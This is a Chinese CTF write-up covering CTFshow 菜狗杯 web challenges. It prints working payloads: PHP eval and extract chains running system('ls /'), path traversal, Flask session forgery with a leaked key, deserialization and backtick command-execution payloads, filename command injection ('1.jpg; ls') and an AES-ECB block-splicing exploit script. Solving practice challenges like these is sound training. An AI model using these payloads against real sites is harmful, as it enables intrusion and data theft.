【CTF-web】CTFshow 菜狗杯

Author Avatar
白菀枯
发表:2024-07-15 16:51:47
修改:2024-07-17 17:36:20

1. web签到

eval(
	$_REQUEST[
		$_GET[
			$_POST[
				$_COOKIE['CTFshow-QQ群:']
				]
			]
		]
[6][0][7][5][8][0][9][4][4]
)

1)分析代码:

  1. eval执行一个函数,不过传入的是嵌套数组,例如a[1][1]意思是取a的第二行二列([0][0]是第一行第一列)。这里不过是很多维,注意代码肯定要先计算出各个下标:

  1. $_COOKIE['CTFshow-QQ群:'] :取”CTFshow-QQ群:“的cookie值。那令”CTFshow-QQ群:“ = a换参代码就变成了$_COOKIE[a]

  2. $_POST[a] :获取表单中输入的”a“,令$_POST[a]=b

  3. $_GET[b] :这就是网址中通常输入的?id=1的那一部分 ,令$_GET[b]=c

  4. $_REQUEST[c]:$_REQUEST默认会依次尝试执行get[c]、post[c]和cookie[c]成功为止。,整句话意思是获取到c的值,即此时返回了键为‘c'的多维数组

  5. 结合所有代码就成了eval(c[6][0][7][5][8][0][9][4][4]) ,执行c这个多维数组的第6行第0列第7……上定义的语句

2)思路:

  1. 直接令c[6][0][7][5][8][0][9][4][4]=system(‘ls’); 然后让$的最终结果为c,就能执行语句了。

  2. 从COOKIE开始下手,在hackbar手动让'CTFshow-QQ群:'的值=a,其中的中文”群“字要URL编码一下。这样$_COOKIE['CTFshow-QQ群:']得到的就是a

  3. post要更改一下方法,然后让a=b。$_POST[$_COOKIE['CTFshow-QQ群:']]] 的结果是b

  4. get的赋值很熟悉:?b=c。$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]] 的结果是c

  5. request['c']得到的就是名字为c的变量

  6. 不过此时的c还没赋值,再c[6][0][7][5][8][0][9][4][4]=system(‘ls’); 就大功告成了。

2. web2 c0me_t0_s1gn

  1. 【f12】得到前半部分

  2. 控制台执行g1ve_flag()得到第二部分,注意是1不是i

3. 我的眼里只有$

extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
  • $_POST会返回一个关联数组(类似python中的字典)例如提交key=echo "Hello, World!";$_POST数组会包含array("key" => 'echo "Hello, World!";')

  • extract是将关联数组中的key和value提取出来,作为直接的变量。上式就变成key=echo "Hello, World!"

  • php变量用$变量名,这里第一个变量就是$_。举例如果a=b,$_=a,那么$$_=$a=b。

思路就是将最后的$($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_)=system("ls /"),然后就能正常eval了。

  1. 统计一下有多少个$,有几个就要几次赋值

s = "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_"
count = s.count("$")
print(count)
// 36
  1. 要把前三十五个都传入值,剩下一个是传执行指令的值。先要给: $_=a,再要 $_=a & $a=b……第三十六次$_=a & $a=b & $b=c & ...=n & $n=system,这样传到最后才是$n=system,(不过由于extract函数,传入的a=>b,得到的是$a=b,就不用写$了。最终传入的是_=a&a=b&b=c...&m=n&n=system("ls /")

  2. 为什么不写个脚本呢:

s = '_=a0&' # 1次用来定义
for i in range(1, 35): # 34次循环,考虑到第一次的0-1=-1不合适,从1开始循环
    s+='a' + str(i-1) + '=' + 'a' +  str(i) + '&'

print(s)
//_=a0&a0=a1&a1=a2&a2=a3&a3=a4&a4=a5&a5=a6&a6=a7&a7=a8&a8=a9&a9=a10&a10=a11&a11=a12&a12=a13&a13=a14&a14=a15&a15=a16&a16=a17&a17=a18&a18=a19&a19=a20&a20=a21&a21=a22&a22=a23&a23=a24&a24=a25&a25=a26&a26=a27&a27=a28&a28=a29&a29=a30&a30=a31&a31=a32&a32=a33&a33=a34&

36-1-34=1,这多出一次的还有在最后稍加改造:33=a34&a34=system("ls /");

  1. post传入得到回显(在最上面)。

4. 抽老婆

  1. 点击下载会跳到https://ffd7c594-0b76-4eec-9195-06cd12f186b0.challenge.ctf.show/download?file=b9824b679655451ebf709707a940b4fb.jpg ,尝试把file后面的东西改成flag,不过失败;但是改成一个不存在的会跳转到:

  2. 注意到上面的,下载它试试https://ffd7c594-0b76-4eec-9195-06cd12f186b0.challenge.ctf.show/download?../../app.py

  3. 看到下面密钥和代码就有思路了,尝试获取’isadmin'的session

app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
  1. 可使用flask-unsign工具:flask-unsign --sign --cookie "{'isadmin': True}" --secret 'tanji_is_A_boy_Yooooooooooooooooooooo!' 得到session,到网站用hackbar替换cookie中的session即可。

5. 一言既出

assert()断言:简单理解就是当不满足括号条件就会抛出异常

assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!"); 先判断num是否==1919810,如果不等的话继续判断die,当然这里直接结束了。

所以思路就是让num==1919810,但是怎么可能num又=114514又=1919810呢,(雾

类似于sql注入,直接注释掉后面的,有?num=114514);//

原代码成了assert("intval(114514)//)==1919810") or die("一言既出,驷马难追!");

它似乎没有语法错误(至少编辑器不会报错),但引号似乎没闭合,不过执行时到114514就结束了

再额外提一嘴,assert能正常使用,不过因为有”“的缘故,还会爆出一个错误。

6. 驷马难追

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

它的作用是检查传入的字符串是否包含小写字母、分号或括号。

if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
          assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
          echo $flag;
     }
}

也就是上一题的思路不起作用了,我们必须找出一个num既==114514,又在intval后==1919810的值。

==为弱比较,即114514abc 同样为true

在assert中的表达式会被计算

+会被过滤要用url编码一下%2b

综上?num=114514%2b1919810-114514

7. TapTapTap

看一遍源代码发现,当level>20时会:

其中的atop作用是:base64编码;相应的还有一个btop的功能就是解码。

不过我们直接用其他工具即可。

得到Your flag is in /secret_path_you_do_not_know/secretfile.txt 直接访问即可。

8. Webshell

<?php 
    error_reporting(0); # 关闭错误报告

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() { # 调用init
            $this->init(); 
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) { # 将cmd和正则匹配,不区分大小写flag
                $this->exec($this->cmd); # 调用exec,传参为cmd
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd); # shell_exec执行cmd,然后把结果作为字符串返回给result
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
			 # unserialize:php的反序列化函数,得到原始的内容
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>

我们如果直接传一个cmd=ls的话,ls会先被反序列化,再将这个结果实例化,最后调用它。

那我们需要先反其道而行之,在本地允许一个ls的序列化结果

<?php
error_reporting(0);

class Webshell
{
    public $cmd = 'echo "Hello World!"';

    public function __construct()
    {
        $this->init();
    }

    public function init()
    {
        if (!preg_match('/flag/i', $this->cmd)) {
            $this->exec($this->cmd);
        }
    }

    public function exec($cmd)
    {
        $result = shell_exec($cmd);
        echo $result;
    }
}

if (isset($_GET['cmd'])) {
    $serializecmd = $_GET['cmd'];
    $unserializecmd = unserialize($serializecmd);
    $unserializecmd->init();
} else {
    highlight_file(__FILE__);
}

    $a = new Webshell(); # 需要序列化一个类,其中它的cmd=ls
    $a->cmd = 'ls';
    echo serialize($a);
?>

得到序列化的结果是O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}

再传回网站的get里/?cmd=O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}

flag.php就近在眼前了,可是直接cat又会被正则匹配到,

那我们也可以用正则的*,通配符*模糊匹配到,将代码中的ls改为cat /f* ,再次序列化

得到O:8:"Webshell":1:{s:3:"cmd";s:9:"cat ./fl*";} ,传到get的cmd即可。

注意flag在注释中,要F12!原因是flag.php没法识别,只能转到html里

9.化零为整

$result=''; // 初始为空

for ($i=1;$i<=count($_GET);$i++){ // <传参数量
    if (strlen($_GET[$i])>1){ // 会遍历每个get[1],get[2]...
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

显然目标是将result赋为”大牛“。

不过strlen不能很好的处理中文,如果以utf-8编码,每个汉字占三个,如一的编码%E4%B8%80

如果以GB2312,就是两倍了,如一的编码%D2%BB

不管这么多,我们将大牛url编码:%E5%A4%A7%E7%89%9B ,每个%会被当做一个字符,判断为false

那么payload为:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

10. 无一幸免

if (isset($_GET['0'])){ // 给传入的'0'=abc
    $arr[$_GET['0']]=1; // 数组arr下标为abc赋上1
    if ($arr[]=1){ # 再在arr最后赋上一个1,判断赋值是否成功
        die($flag);
    }
    else{
        die("nonono!");
    }
}

意思是如果成功在arr数组的最后赋上1的操作成功,就输出flag

?0=1正常令'0'赋上一个正常值即可

11. 传说之下(雾)

看到这种达到关数/分数的题,先搜索level/score等。

这里搜到socre

先打上个断点,刷新页面重新加载,再手动改这个值为2077,保存,继续执行代码,再吃一个苹果,到控制台就有flag了。

12*. 算力超群

13*. 算力升级

反弹shell不成功

14. easyPytHon_P

from flask import request # flask框架在python里
cmd: str = request.form.get('cmd') # .form.get是post请求,.args.get才是get
param: str = request.form.get('param') # 分别是cmd和param的获取
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None: # 两个变量不能为空
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
		# subprocess.run:执行语句。
		# 截取cmd的前三个字符作为要执行的命令,命令的参数为param,执行的地址已经写好了是__file__
		# os.getcwd():获取当前工作目录
		# 延迟五秒
        print('Done!')
    except subprocess.TimeoutExpired: # 运行超时
        print('Timeout!')
    except: # 其他异常
        print('Error!')
else:
    print('No Flag!')

用post传入cmd作为执行的命令,param作为执行的参数即可:

15. 遍地飘零

$zeros="000000000000000000000000000000"; # 给zeros赋上好多零,不过后续并没有用上

foreach($_GET as $key => $value){ # $_GET就是获取一个key和value,然后不断循环
    $$key=$$value; # 我如果输入的是?id=123,那就会$id=$123,id就成了一个程序的一个变量,而$123又没有赋值,所以会报错Notice: Undefined variable: 123 in /var/www/html/index.php on line 8
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET); # 显示传入数据的类型和值,如:$a = 1 ;var_dump($a);输出int(1)
}

总览整段代码,flag只可能会var_dump时输出:

  1. 所以要尝试var_dump($flag)

  2. 所以要让$_GET等于的是$flag

  3. $$key=$$value 把其中的$key换成_GET,把$value换成flag

  4. payload:?_GET=flag

从头捋一下:当传入?_GET=flag 时,$_GET as $key => $value 获取到了?_GET=flag ,然后打上$,变成了$_GET=$flag ,此时的$flag就是真正的答案,到var_dump($_GET) -> var_dump($flag)->string(45) "ctfshow{f90b7f9b-5f90-45be-b07d-eb606bdb3038}"

16. 茶歇区

似乎食物和饮料有数据大小的限制,这里只关注于咖啡。

当输入一个非常大的数字时竟然兑换成功了,考虑到可能是int64 :-9223372036854775808-9223372036854775807 (十九位数)的数据范围,而且咖啡的价格要乘十,可以尝试当输入

922337203685477580 (把最后的7删除) 当再乘10还是在数据范围以内,所以程序正常,不能成功兑换。

922337203685477581 (删去7后把0改为1) 这时再乘10就爆int了,也就兑换成功了.

只要多尝试几次大数兑换,分数就爆到114514了。。。,而且根据经验,兑换一个十八位数,而且前几位上改动几个数字容易得到flag,如992337203685477580(把7删除后,再把最前面的2改成9) 两次就出flag了

17. 小舔田?

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']); 

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

知识点:

  • echo不能直接输出一个对象,不过对象中如有__toString,则调用这个魔术方法输出

  • unserialize() 中如果存在,会先调用 wakeup 方法

  • serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。

代码思路显而易见,要输出global $flag; 那么就先要$this->nickname=="小甜甜"

可是要echo $flag的前提是调用call函数;

发现__toString魔法函数会调用它;

什么时候会调用__toString呢?在echo这个Ion_Fan_Princess类时;

怎么echo这个对象呢?Moon的__wakeup()会echo,而且这个魔术方式会自动在反序列化时调用;

最后的问题就是在反序列化前的moon的$this->name的name换成Ion_Fan_Princess类的名字即可

$a = new Ion_Fan_Princess();
$a->nickname="小甜甜";
$b = new Moon();
$b->name = $a;

echo "\n";
echo serialize($b);

最后捋一下:b中的name是a,为的是反序列化时调用wakeup输出b的name:a,而类输出时会调用到其中的toString方法,a的toString又会调用call方法,call中判断nickname,true的话会echo flag,我们只要在a传入b前定义好nickname即可。

18. LSB探姬

首先在题目的主页面已经提示我们,“系统会把执行结果直接返回”,就是结果会直接回显出来

查看源代码

告诉我们flag在/app/flag.py中,而且cmd命令是直接执行的,没有任何限制。

用bp抓包,在原有的语句上添加即可:

Content-Disposition: form-data; name="file"; filename="1.jpg"改成Content-Disposition: form-data; name="file"; filename="1.jpg; ls" 看到flag.py就在当前目录下,再把ls改成cat flag.py

19. Is_Not_Obfuscate

知识点:

  • robots.txt:爬虫规则的内容

  • file_put_contents(a,b) : 文件写入函数,将b内容写入到a中(不存在自动创建)

  • file_get_contents(a):文件读取函数,读取a文件

查看网页源代码有这两句注释:

<!-- Test the lib.php before use the index.php!-->
<!-- After that,delete the robots.txt!-->

提到了robots.txt,访问试一下。lib.php允许但是没内容,/lib.php?flag=0不允许那就/lib.php?flag=1(不是0就行),得到eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT 备用

回到源代码发现还有两条注释:

<!-- //测试执行加密后的插件代码
	 //这里只能执行加密代码,非加密代码不能执行
	 eval(decode($_GET['input'])); -->
	 <!-- <button name="action" value="test"> 执行 (do)</button>-->

第二条注释和它下面两个按钮的格式一致,可以把它取消注释。而第一条注释应该就是给这个按钮的注释:可以尝试执行我们已经得到的加密后的代码。

把它注释符取消后,再将上面一大串代码复制,执行。

跳转到一个新的网页,证明思路没错。

原来value共有三种:test、pull和push,上面的输入框是input,下面的是output。

分别执行三个方法,会相应传入input和output的值作为参数。

不过审阅代码始终没有告诉我们encode和decode函数是如何实现的,聚焦于以下代码。

switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }

第二个push的功能:

  1. 将get得到的output(比如?output=123),

  2. 后拼接youyou,再经md5加密(123youyouo经过md5的结果是202cb962ac59075b964b07152d234b70方便表示还是用123youyou代指);

  3. 前拼接字符(./plugins/123youyou);这是写入函数file_put_contents的第一个参数,也就是路径及文件名(./plugins/123youyou);

  4. 第二个参数是写入文件的具体内容,也就是编码后的output(举例123被编码成456,写入123youyou的内容就是456)

  5. 综上这是一个写入函数

第一个pull的功能:

  1. 比如?input=123youyou,file_get_contents读取文件./plugins/123youyou的内容

(注意这里并没有自带youyou,访问到刚上传的文件要手动添加)

  1. 将读取到的内容456经过解码,又得到123,执行123命令

  2. 综上这是一个读取文件并执行的函数

思路就来了,用push函数上传一个echo flag的命令,再由pull调用:

  1. 在下面的ouput输入框输入<?php echo `ls /`;?> ,点击push。注意这里的`是行内代码的``,如果是''只会原封不动的输出”ls /“

此时,./plugins/e31d7b1dfe43749c42490c26deca67a6(<?php echo ls /;?>youyoumd5后的结果)中的内容为encode后的<?php `ls /`;?>

  1. 再在上面的input输入框输入e31d7b1dfe43749c42490c26deca67a6 ,点击pull,得到回显。下面就是cat f1agaaa的步骤

  2. 在下面的ouput输入框输入<?php echo `cat /f1agaaa`;?>,点击push

<?php echo `cat /f1agaaa`;?> youyou经md5加密aa47b964e675ae576fa5a3a266afb74f

  1. 在上面的input输入aa47b964e675ae576fa5a3a266afb74f点击pull。

20*. 龙珠NFT

AES-ECB:分块加密,把原数据等分几块,然后分别加密。

该题意大概就是获取一个密文,要每十六行一分,分别加密

{"player_id": "2
02cb962ac59075b9
64b07152d234b70"
, "dragonball":     -> 获得的龙珠号
"1", "round_no":    -> 次数
 "1", "time":"2
 024-07-17 08:06
 :47"}

每一行都会分别加密,尽管不知道是如何加密的,但是我们可以在加密前下手

发现如果把第五行删除,dragonball对上的就是次数了,而1到10次显然包含到了1-7

官方exp:

import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'


s=requests.session()
username=str(random.randint(1,100000)) # 随机获得一个username
print(username)
r=s.get(url+'?username='+username)
responses=[]

for i in range(10): # 10次循环将每次获取到的地址追加到responses
        r=s.get(url+'find_dragonball') # 调用find_dragonball,跟直接点开始搜索一个效果
        responses.append(json.loads(r.text)) # 获取搜索到的json

for item in responses: # 遍历每条信息

data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']}) 
# json格式化
        miwen=base64.b64decode(item['address']) # 解码address的值
        round_no=item['round_no'] # 第几次
        if round_no in [str(i) for i in range(1,8)]: # 只有1-7次能正确获取到龙珠
                fake_address=miwen[:64]+miwen[80:] # 扣除第五行
                fake_address=base64.b64encode(fake_address).decode() # 先把假地址base64编码,再解码成字符串
                r=s.get(url+'get_dragonball',params={"address":fake_address}) # 把假地址传入到验证地址处

r=s.get(url+'flag') # 跳转到flag
print(r.text)

参考

题目:ctf.show

这位师傅写得好:【Loading 19/21】Web_ctfshow_WriteUp | 新手必刷菜狗杯 - Guanz - 博客园 (cnblogs.com)

评论